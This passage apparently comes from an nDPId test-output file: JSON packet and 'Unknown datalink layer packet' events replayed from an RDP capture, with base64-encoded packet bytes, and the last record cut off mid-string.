datalink layer packet","thread_id":0,"packet_id":1281,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1282,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":386710,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GQRHnp\/yUBAf9ElCAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1282,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1283,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":387274,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiG0AAfwYivMCoAo6sEAK5DT3NDkeen\/L5vRaqUBD2cFq\/AAAXAwMGbwAAAAAAAAGf0NbYcRh7eIB3bsGftF1ZGMK1LYn0RwDNvJG1QmnBPowjUVa0Bm4ryEHJcixHltvQqKTW+3PCPtI7A8YRkFM+Ug2xgECr9KCMwipBRA\/i0alT3W0xJDSK7bRDNEQuP7Dx1D6yGMi2jYOEuhH68mq+Cua4e9YlkUge82eaeoLzRedqDMQQdUcSePEi9XF2XKd93AajcGqff00g8WIPNgytc5HmD73sSib8GuAFKVTIYEAYCtPUdGp9byt440eZjyQLnT8tnzhwJFpQJo0AHzy2HzoyVKk97WNTMVHq3asLjVjToeeMgltSkdNVCVjlw58rAsHD6n5\/EiOYG+72ZxHohiK94Mgk9U3VNmva9ExrxpMeb3cMsuew+VAUPIEDALpUtMIQUAuApzRP4XIFY1QpYGECj7RQWp8w37gCx0s2ojLjZlrLHyLXabGnHk8fV4eFj1iTm58lWOv8u599aEfCQMBvkDEj7LfhbbF+jcB2UXq8CQJMYL6dz1N0DMC26nz2FypmtXvNEPU71aJVM68dGE0SYBQDEKtPTnhbVpzkM2VnysTyrQsv5dOF5ZgSW8sfWYws08vhGiQ\/NYMwOiWRVCo6yxGeiqX3LPvOJ+th0QQ+VnvXey10K3CEl8eVilj16oOjx5OzMXyKREKBY7I9ur0U3JsuhvXqkD5qv2q8myh5a8hYu76fG2zhPmsH9x\/E+3qUdtH8DH70aDSsbRnhdNbIoBrdUepP5p+wral3jfcosJn5\/ovdZ7EhLE+QUrGEJDNfPBmrk\/WDM\/4jubOezVeUkCd33rc58neNEWQZc7tOACRr0tatyt8RCZzldJcQI6\/AT9kVOtu0iPKf\/2vXwnOfGvrLCy9Wq6QKFuBjXlLNQU5Oavli3kwPuSn2W3wCNZV4Rv9OvzCHRwp7aK\/WzgXncsa9IVLggMuobf0SdYtssoSiioT1Jqv33WvG0bn8xIF+ktOJkhJ69PaEy64+8MwdCcqoR5WMxBm8ec+YllURq9FawYocUNLRmc37RkncBU6OHonkZFGnWVJVOpYziFu7j4\/eL84g3ZDfvZaW\/eCwz3QYaOTTgDIDSgsVhVUA3ukjYrGKVY591sGa+y0LXCEC9cp15wo96iLxpzl9oyy1uQ\/eKfC4F2Mshc3jF7gQeDiLqDZVnxLudKkwdX+QMAb2k3UesoVwk2sdqOAagzLlViAH31l74E2SqZWeNgaNvsty4B8dwir1jWfeSCpCe2lac41F6wsN0gnTHf5jHOkCp9bpg2gkF+AXKjeYeaczV816tEhu+ASySHTUISDLZyvj0PiDinqyHpKuECjTdz1bqtWTiPUiDEveE1ssnuNCxdNMIhwtLXbzh3zZwTSc\/ulQoggU+Rg8uUS178KwUGIaagC5imCA7ybTtJqzo\/0N6HlNcdJbpqJugyQVuHSX\/sqVAcHktwlsLjVKKGvP\/7unZEXPMfVspYU8vd7QqxBAhnfqW\/z3RVb3o8wfwlJTwVWgDZleey+CYXIykli9O\/FgncGEKG4Pe\/kHPG2yr\/DBRecn1M5WIX8EUjpbvKMiGxuoGJNmDiuDrSottsH6GIZ9YixnjTZJ69ZtMJV\/gIh8fuVJ1WdQ9WPb32s4w4M35w08i9iuja0RI3SLAIX+0eUP9BGOIGCwf++oZWJYa63Ja08LOovuYmuOz9JK"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1283,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1284,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":387468,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiHEAAfwYmOcCoAo6sEAK5DT3NDkeepOv5vRaqUBj2cPIrAAAKkCpDcDXvh\/jBN29o53yMTG3T05o08X5WQ4RkQN+MkOEJKctuUP3H5cw4TXxvLoFpMrALYfhohmS1hwky67+VSpf9jDKdBMtAwQCRHB2Af10jzfCws7hdoxH0a89MpKo8TM5mZ6oF\/dYI5Edz9TyDiTOmR8S0c6OzKIbnI45VQB7x98Xr6\/ldGNV8lpmJA51UwZy\/P528edzy14TFHk9acoEOZCGlpTXI+pHOqPxFWzjuhDqnQUy6Niqy8fBCmCed4Q9t2PZOxMm7wgww4xXZK31tPZDQe\/nds8kZHdn4VX9vBCrmHwk44aXjdDcwZTdtA8aSim8Mi+SphhFo2xwJtVCBGIpPYLOPEI9rimny68QwAbberyRhMTsWE0dlPbVrDWdm+vwrZl4fd3DO1DbRoJYT8gYlzgXYrXNVSMDqUteCVQ\/caxjRAI8SiqpPcU4IZVzfmljclcF+cbJAPEoQhInrUABxzJV11igPYEUm2UrYNvh0Woer5Y5y"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1284,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1285,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":387508,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GQRHnqZmUBAf9ELOAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1285,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1286,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":388134,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiHUAAfwYiusCoAo6sEAK5DT3NDkeepmb5vRaqUBD2cHngAAAXAwMGbwAAAAAAAAGguxPb9jk3dzDj6pw3itSfGYm+KUrXunGScTnu+Caer\/Qq10OW802k3+MjOsA2SW10lbtgCuHqNMDx0\/I7aDVR4dBgD8FfCzzxaYVAq3Him7Sc6OlNG2BngzLK0c1\/D03KQrakAHfDGsgVw1pKsg4UlItFBdvXh8J+4+vaNTTuQ94Y7OI9aXOMmw93kqfBKu3PHidTq6FlrLCRVrHgABV8ZnKNyuEK54H5mq9mjP0s\/sMvoRXB\/Lnc7Ay6SQ8zRBysoficElt\/bE\/qlYJWCRD48PqxjLuO+CQ0gQQ1\/pYIJwMaBZcHSxXDPTD\/9mLxAbl8H3fuOF5GujUFVsi3P5ngsfM3H3Vsa2sQLPNT2aAzWz4zpBPWNFtj2lZo9vgtOQLSTZQhb8docAQHYR0i7SODgUwV+kNltAwbEY9A0hbFrlScdGQpn073BD00jsvlyjFvDKPxDUAAbRAdf0i92DInK\/jG9QRMU1fLoo2aMTRInErNgD20wA86ZvDAYOYhkOABBbkRx1BPHUCGjlASBZLift8T\/qOqmGwBeUxAJ3wp41V\/49xkXeoU8bgA3bT3VRKp0M7beRH1\/HeUTMCHODP03hT4yUmcE7KlAvL9mghgXcxDz3xgALVXejOT6sGTyfzt8Tm278aY5ZU5NDLs5RdBHK3QR2tgY5hdXHkzngL5FzbZNgKN9Co3yiZkqCyvz5GuQR5cNc1Srs2V4QlbSA9466N1G4xFRTF5zcMXH84VaVtlxT91HwGB3sX93pZzf9WR4JRouszsXspqNHNo7nX2mC0a9aYFLWWPjAdUJRnPXk+J14kp96nj6lr5K\/m4kwWLHeQC+V769S5WK\/EzxoVfR9+zAnbYUXPI40AR6g7KzbkUyhLptJ0VFxORj96F0Ie8D8PUDfqwpI4l+zFFUiy5brO4s4UsIFQQWAjVZKA\/\/zDBy8dbP9dSTMaWcEbiBb4Z42tjcr4XzO0bC+kfRSdzeNG1iAlNFdlhY15cCtxUSvsfVAPxB1vplGu0jSFzD5Z6LCxPhQi5pxhQMPaVg7SM5MIlLJL9A3LuATnLXFCTnPUo0XdEcWti0sp2R9UqmdEO2+95LTa4EZZ39z3O6QuXVD\/bMmLW87oYSUSsbaWGipVfVIFYaGWOUzMkfv5zlEunGqRfISqAbW43U1qy2N7LYA5h1O7Sw39fFvNXwmO9SeGZhVhOAxe9FQ76wxIrAW2g6oFBxdYm34qxb7vxOlyEGw6wX1m6rAglhJatT1eDV3eKp2RUW8\/jhVuvrfF9E\/3AUkzhQYtWngA4tGDbFnOHYqA7uEKOSQDFtI5RXWFsJvJa1jHsSpBrq1+hjLxewNeQLDsv1x7r73tMQEcFqOTeObuxzvMhVEVe9OFb+aFiexnBjScdW1hTK\/dRTK84cD3G4ktTH5K5IjgjV8EFhG7KfQDbfVaW\/WWQvQMorewVGRsI\/I4tzBuqB7oNe6FUyYA6fMx6xX4s8re8WlzZSBO3R\/8hvHJMd1QJK8mZEunyAIF\/hIWl7SudCZeJMeXQisVKM\/xKJXPNR70rmPG9RiRSd9jZfXOLGMbi9OO8N9+IWavrCmc64GSxAdy8C6HukDhSGm1hhSwjTu5w+nVpNuRp7ZlnQ32mpd+6XkgX2Hvi2K5R06cm+NwAqPqTRuCIhLRCc2NrHltmsuL49SrL"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1286,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00868{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1287,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":388633,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiHkAAfwYmN8CoAo6sEAK5DT3NDkeeq1\/5vRaqUBj2cOolAAADKlEXY1njp7MKaAnUMecNNKW4jpUB1\/CGMBWX8c4Cj8tnLpKmcnmqSUi3bQEsYOiFYTLFilHmJHOyyCkAiMviFfkEg+6Cmq9tPdiWBc7PRWIQOya7qZAj3bvZ2874tSPgm9uTJfWvMYCcjqtuEpir21372Gu65DQ76Smg9VtiYNSvvidcWaZGR7ySknThdJxkIzLJh0Ry6aTdoEqnWTVgg+FjpNLB\/ZuPdVXsGnSzXv8lLw3BXUJ8cCSK0Qvam0XSwEi17p4pZPujx\/p7PuOOcj4ntVX\/bc\/fQEh3uHg\/W0ocSeixh9F5+aTE\/yK6BDnYbal\/XoOQD5tjBh2wes\/9LXzqZnyI0XbdEqmUyK0XrmasBZvwyHt1+dxTd05aDKMoBKo2wPn6jCUadFZ6MgYTmIAZJcYB0zj5Koki0OVMZXRLProp3vXRF8Vm0cXwzGT0rwy95Ow5L3c4XCn\/A3vWQ7wvrN7DHmU+4GIGmpeWAfPnu7nzPJQg9Fu5"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1287,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1288,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":388675,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GQRHnqzaUBAf9DxaAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1288,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1289,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":389038,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iH0AAfwYnfMCoAo6sEAK5DT3NDkeerNr5vRaqUBj2cEJAAAAXAwMAMAAAAAAAAAGh4O6aJCOoJcfiJu7JAeP2VH+B8dOXsaPShZH1VtLazzz+YSsLdP+\/SA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1289,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1290,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":389095,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GQRHnq0PUBAf\/jwbAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1290,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1291,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":389548,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiIEAAfwYnsMCoAo6sEAK5DT3NDkeerQ\/5vRcwUBD16mgCAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1291,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1292,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":389628,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9GQRHnq0PUBggAAFuAAAXAwMAOOAIO32NJwwSVuzR2XRLI+mcf07oR3aGXTardVP92T7vWGZTJQwnlIOinZi3FPzH5WjM3q0I6ZZZ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1292,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1293,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":417865,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiIUAAfwYnr8CoAo6sEAK5DT3NDkeerQ\/5vReuUBD1bGgCAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1293,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1294,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":417974,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iIkAAfwYnecCoAo6sEAK5DT3NDkeerQ\/5vRfrUBj1L7BLAAAXAwMAMAAAAAAAAAGivHb6EWtFHrv++24fIIZViB1ONA1swz7vzXbzz3mzAG1FNLRYnPGCJA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1294,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1295,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":418026,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GUFHnq1EUBAf\/jupAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1295,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1296,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":418410,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AgAAAEUAAGliI0AAfwYnbMCoAo6sEAK5DT3NDkeerUT5vRfrUBj1L1jgAAAXAwMAPAAAAAAAAAGjudlQ2ysWnrGT\/0TUUfsmgp1cZhoGmZhWA4xdLIJ2iwk3mKwWqlOrtSfz4DeWn8isDX+5+Q=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1296,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1297,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":418465,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GUFHnq2FUBAf\/TtpAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1297,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1298,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":419176,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iJEAAfwYnd8CoAo6sEAK5DT3NDkeerYX5vRfrUBj1L7SIAAAXAwMAMAAAAAAAAAGkz3nR3tAgg6C3yiXuQmxt81khOIV3Mm4Dhn+J7CU2uPOdg\/fpH44kJA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1298,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1299,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":419577,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GUFHnq26UBAf\/jszAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1299,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1300,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":419689,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9GUFHnq26UBggAG4WAAAXAwMAMOAIO32NJwwTX72bJZCXFbAZeP9PC9fSQSirKSq3Ag4pEbqYIzthqePwt4BdTLkpxA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1300,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02084{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1301,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":419786,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiJUAAfwYissCoAo6sEAK5DT3NDkeerbr5vRfrUBD1L8T5AAAXAwMGbwAAAAAAAAGl28oP8fk\/BN08ecjuX+O686ZgecIKLfrZZxxdY8EANmAI\/Uwd67E+dg9swNSA6HNpvWk7TGWDFS2e7p7Apsf842h9isP4ma+dy8i2sfyASHz3GneG3r4D7YecKtNKfeuxn1XY+BLJimGGT8pLWFLUCeN0nu28GVGGwgRkplQASa51+XTZJz9do5hF7InPmV5DCp6i02cyVoeDhIHggm6Ryn+dyYid\/2cTdZZlyvFVFy5E84Jn1+2NfQkUgcIPHgVoOaQ6lLEVcd\/EdzFDXT3Po9yW7VJVAzxa4sqjv4pv9ZmBira88kwNnIJujwKx9zZhkU4UgGHWL1KpD\/P4izBBww73CHLZB7oagOprwIW2g1hW0g0In4ay\/DGhxlFTtTZQnO86ZK6NpHFNq7u4A86uLLqFl2ZZOWNlyhi4apNYmo9JTdeVf29HFj64Dbe6LHnwIZed9K9noj6wro8BG10KG7RjfEnl+xLdDdlCC4ZanEkptf45y59Pjn7BWho+Xxs9RZkYMltGDL1QkUro4Rm0pfcqWzFgXKR9zwUzDACIJOsAkBAWc24u951hqcENZUO8EYRB6GtqhoG7vWCTcb\/tZKOqrLkhe9lF1wYKUDg7fYMCfUU19txTeOYJGcgnyoxstUM6JwaBXnl\/yJK50gize5r8WcD28\/95cHGTBxo78De\/OUHDk1P6CJGmIs\/ntXD1H0EBKbjzSccCKVIruvefJpEZqDhbVUhNLZyMyzStw\/a5EBOAPIYC9uJRTtOK\/Klj95i2\/mmh8KG2DS5Fv7WepwxD4qMxYiTZmw4FwbWeXkugZEy9YfRme9z5d6cYI7H99Vk8MNZxKQPWNLJS5QfCXoj7wwwHF9gHN9UIdavL6JFkrDNRmluXGiOBFhQyE9aS+2IEHM8xOVDis2VT\/YRxy4Cme3nDxcQSUuxjeCiIq2Y48DUyq26RKHbLo\/cplWUlldmq6jLuYY89fD7x6mX8brSADUz+MtH5hHUXVRt\/QoBk42Xjp0ldGKqP3AGKEpvZH1s71vy1gPTm1DaGMX52bACT0BttdcoNNIMdIctN9G2Tys0xe6RGqvZlEYKy\/KGbSD7H96RQ472uxvo5JRIC+x5v6jQc1A\/PGllYT8HkfxrzOMlMPDKHg7OSRHNR9Puk+TiWzEr0B4FlCnqgzk2l3i4mAOcC+C546pii\/x12CsMXHQxYAa0JjqmU3iA5WC1f9KgDfWApzMiO5VGGIW2NiGShwICCq4XomEjxAn2ch\/R9\/OG0cS6QSXRzQAaZay7Xyfu+Ap0h1tyw8xsJUFZ3XkTiexO\/Y4qGT+6MmwdJQMLwsUAtBQUAI0K9PNqzelz08\/tAyaw27mS\/SyWyFRmD346AHOXYwajWlmiEDn6Z58iHpWYSSYmxYS\/hT5337glvebp9emo6wC3tv7KiuzQK+OWBv9UwDyLIm8Y3Nazxhis4QFbGzqRKOaOvKfq\/SY\/qCcEmx99VMNBzvr2Z+eJl9VQgVG\/09nSPS61OxkERxv4hMYmYUk\/hJejzk2DfF8\/M2ilhx9yWoPylSfe7rMdWdAcjO1zZTciOSvlbPLluPc8SuKeT5\/Usc6hpI5obRkDQaq9ahLVzE1xSHlEfmivjMtSJX1D6u\/5+8NQPA4l4+cnU0UGW0Ga0kC7L9ci265+8k4autehoJIQ38c9P"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1301,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1302,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":419829,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiJkAAfwYmL8CoAo6sEAK5DT3NDkeesrP5vRfrUBj1L2CgAADR+V6Mst2LadyD3PVa+jE+HzjaUkpXJl3HEZvM4VOBWmT7HxaMo9Z98tRk6TRy477auIQwlf2nCeIQ9mY2cspQMguHvJp\/+3D2PdSIn2MjZ5YE7WC82kpuOx4UjV6ouUXxbxzXdudsXL2eyAWgrGMSanFTF36b0mPIb+9d\/bpFWwNErVbD0B2IAeo9NGkk4NIKK3n+8E1PO20H320bP8VeAJyqYxx5h7KA+40U6nmaHecKc5C7SWo6+d98iOZ9dQtD12Qo+qn0FX\/EREdR+n7PDfle76zqHFSbdsHDqlb1\/fB\/jR4Qj7Qcqee1Fy33FysT3vGSCWxk02\/\/vx\/3O9GUmtZ7mYutnrRMo4ehFZRgs5uG\/XnwXQl64Fivaw+P0CxeIJ15Ajf0pCkWsB6Mrd4ypemc+FXqIuhV87BlRocGBvZ4myJMoHqbl1gE874HCEj24eOCmCfoR3ef6S19fbT5eTUIfjHkdfv9RQql4b80k1fDbcQMg7koeDtD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1302,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1303,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":419877,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GXZHnrQuUBAf9DSUAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1303,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02085{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1304,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":420269,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiJ0AAfwYisMCoAo6sEAK5DT3NDkeetC75vRfrUBD1L6XsAAAXAwMGbwAAAAAAAAGmzYDtgS9iF7yZz+qBKeM18xUPIBfbSOcNrBId5JdHPpdW2aHdUYoPvaHlSKhkPlFjm4wDARvgyha3da7OZKembD\/1mLRzEINoZJEouWLMNSKI3XzJDpzGWEu0mUETQ62elwaOO+ZG7qmq3a27So5r1oMO9VGzwLTITAMBMIuLS6Z0Mil1vOtWSe\/ZEI3wxEwSL5buZlfHXAWnjQw\/lW9Kk\/myDRsMBYd8BxSU8UdYX1UZcMlURbdifL7S\/VNHiRcPNeDSlXKMnncRGQ9fGMxr9BBxhaKxV5FXQ3LgguUxpk6evcCvZdcz6EK+zPTXyR83AgkPTPxBOt3tSfoY+FaRluTOdwtFe8+CMumiEzsmRfrzWWwQ2kpegNLXwFTnG\/52y3+\/H9\/6\/o1o69XhDQbE86LzhyDD\/\/0SSwTDBVkEcBQH0gBMMzWkLUj6K20VbVknExrCUq\/CavE2cdybSODnf89FcgrO6+7F4XFUecnno6\/xuhn2DD1WZYtfpGeMGXpbMxEoZd8+lPWPvnVeJsymqVkCL5p5KiLmu7IgO0y0iNQnZa+cftPRns+yMTwVjdjJaXtFLbczk1Dd+lfis2XRBzZKgtP8vci95U98qGxpwtkAgfpZDTLBbcSXOLdlH+cCHBbXp7dwYbke3hQyJ\/PQl\/kUP9URcc7BIr9i0tQj6rR\/HiTLjsIIHnI30jD5UUvARAHtYq4DLBnhtFaBGWE4JTa+zREA80M+7hRkRnt8AJKsjsH4LZCFkxVYhUmocjP9MTVr2szleGhFkeNskOB